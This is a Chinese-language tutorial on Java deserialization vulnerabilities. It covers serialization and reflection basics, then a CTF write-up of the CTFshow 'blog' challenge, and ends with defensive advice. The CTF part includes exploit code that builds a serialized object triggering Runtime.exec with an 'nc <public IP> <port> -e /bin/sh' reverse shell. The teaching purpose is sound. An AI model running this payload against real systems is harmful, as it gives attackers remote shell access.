⭐文章目录⭐
✋
反序列化漏洞基础
序列化
将结构对象数据转换成字节序列的形式。
反序列化
把字节序列恢复成对象。
序列化、反序列化在 Java 代码中的体现
package serialize; //初始化定义一个类
import java.io.Serializable;
public class User implements Serializable{
private String name;
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}
package serialize;
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
User user=new User();
user.setName("leixiao");
byte[] serializeData=serialize(user);
FileOutputStream fout = new FileOutputStream("user.bin");
fout.write(serializeData);
fout.close();
User user2=(User) unserialize(serializeData);
System.out.println(user2.getName());
}
public static byte[] serialize(final Object obj) throws Exception { //序列化
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception { //反序列化
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
Java 反射机制
对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。 以下是常见的获取class信息的方法:
package reflection;
public class User { //定义一个User类作为示范
private String name;
public User(String name) {
this.name=name;
}
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}
package reflection;
import java.lang.reflect.*;
public class CallMethod {
public static void main(String[] args) throws Exception {
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);//利用该类创建类
User user=(User) constructor.newInstance("leixiao");
Method method = UserClass.getDeclaredMethod("setName", String.class); //调用method
method.invoke(user, "l3yx");
Field field= UserClass.getDeclaredField("name"); //访问属性
field.setAccessible(true); // name是私有属性,需要先设置可访问
field.set(user, "l3yx");
System.out.println(user.getName());
}
}
漏洞成因
当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
package reflection; //利用反射执行java.lang.Runtime.getRuntime().exec("calc.exe");
public class Exec {
public static void main(String[] args) throws Exception {
Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);// getRuntime是静态方法,invoke时不需要传入对象
runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
}
}
以 CTF show [单身杯 WEB] blog 为例分析
本题思路主要是造反序列化命令执行payload实现反弹shell,从而实现任意文件可读。在此题目前半部分如何成为admin,class文件读取部分略过。(简单复现漏洞,具体题目解法请见他人write up)
//在UserEntity.java中,发现可以通过反序列化输入控制username,password,email,address四个数据。
private void readObject(ObjectInputStream input)
throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException
{
input.defaultReadObject();
Class.forName(username).getMethod(email, new Class[] {
String.class
}).invoke(Class.forName(username).getMethod(password, new Class[0]).invoke(Class.forName(username), new Object[0]), new Object[] {
address
});
}
//由AdminController.java文件得知对方是通过url读取数据。
public String adminConsole(String token, String url, HttpSession session, Model model)
throws IOException, ClassNotFoundException
{
if(token != null && token.equals(session.getAttribute("token"))) // 判断token参数是否一致
{
URL fileUrl = new URL(url); // 文件读取
ObjectInputStream objectInputStream = new ObjectInputStream(fileUrl.openStream());
objectInputStream.readObject();
model.addAttribute("message", "\u66F4\u65B0\u6210\u529F");
} else
{
model.addAttribute("message", "\u66F4\u65B0\u5931\u8D25\uFF0Ctoken\u65E0\u6548");
}
return "pageMessage";
}
//构造payload实现反弹shell
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
UserEntity userEntity = new UserEntity();
userEntity.setUsername("java.lang.Runtime");
userEntity.setPassword("getRuntime");
userEntity.setEmail("exec");
userEntity.setAddress("nc 公网ip地址 监听端口 -e /bin/sh");
FileOutputStream fos = new FileOutputStream("exp");
ObjectOutputStream out = new ObjectOutputStream(fos);
out.writeObject(userEntity);
out.close();
fos.close();
}
}
然后将得到的字节序列数据转码并发起post请求,实现任意文件可读,找到flag文件。
防御措施:
1.避免反序列化不可信数据:不要从不受信任的源或用户接受序列化数据。 2.使用安全的库:例如,使用 Apache Commons Lang 的 SerializationUtils 类,它提供了更安全的序列化 API。 3.更新和修补:保持 Java 环境和所有依赖的库更新到最新版本。 4.实施类型检查和输入验证:在反序列化前检查数据的合法性。
参考:
1.Java 反序列化漏洞原理解析
2.Java 反序列化漏洞利用及修复 示例代码
3.Java 反序列化代码执行案例分析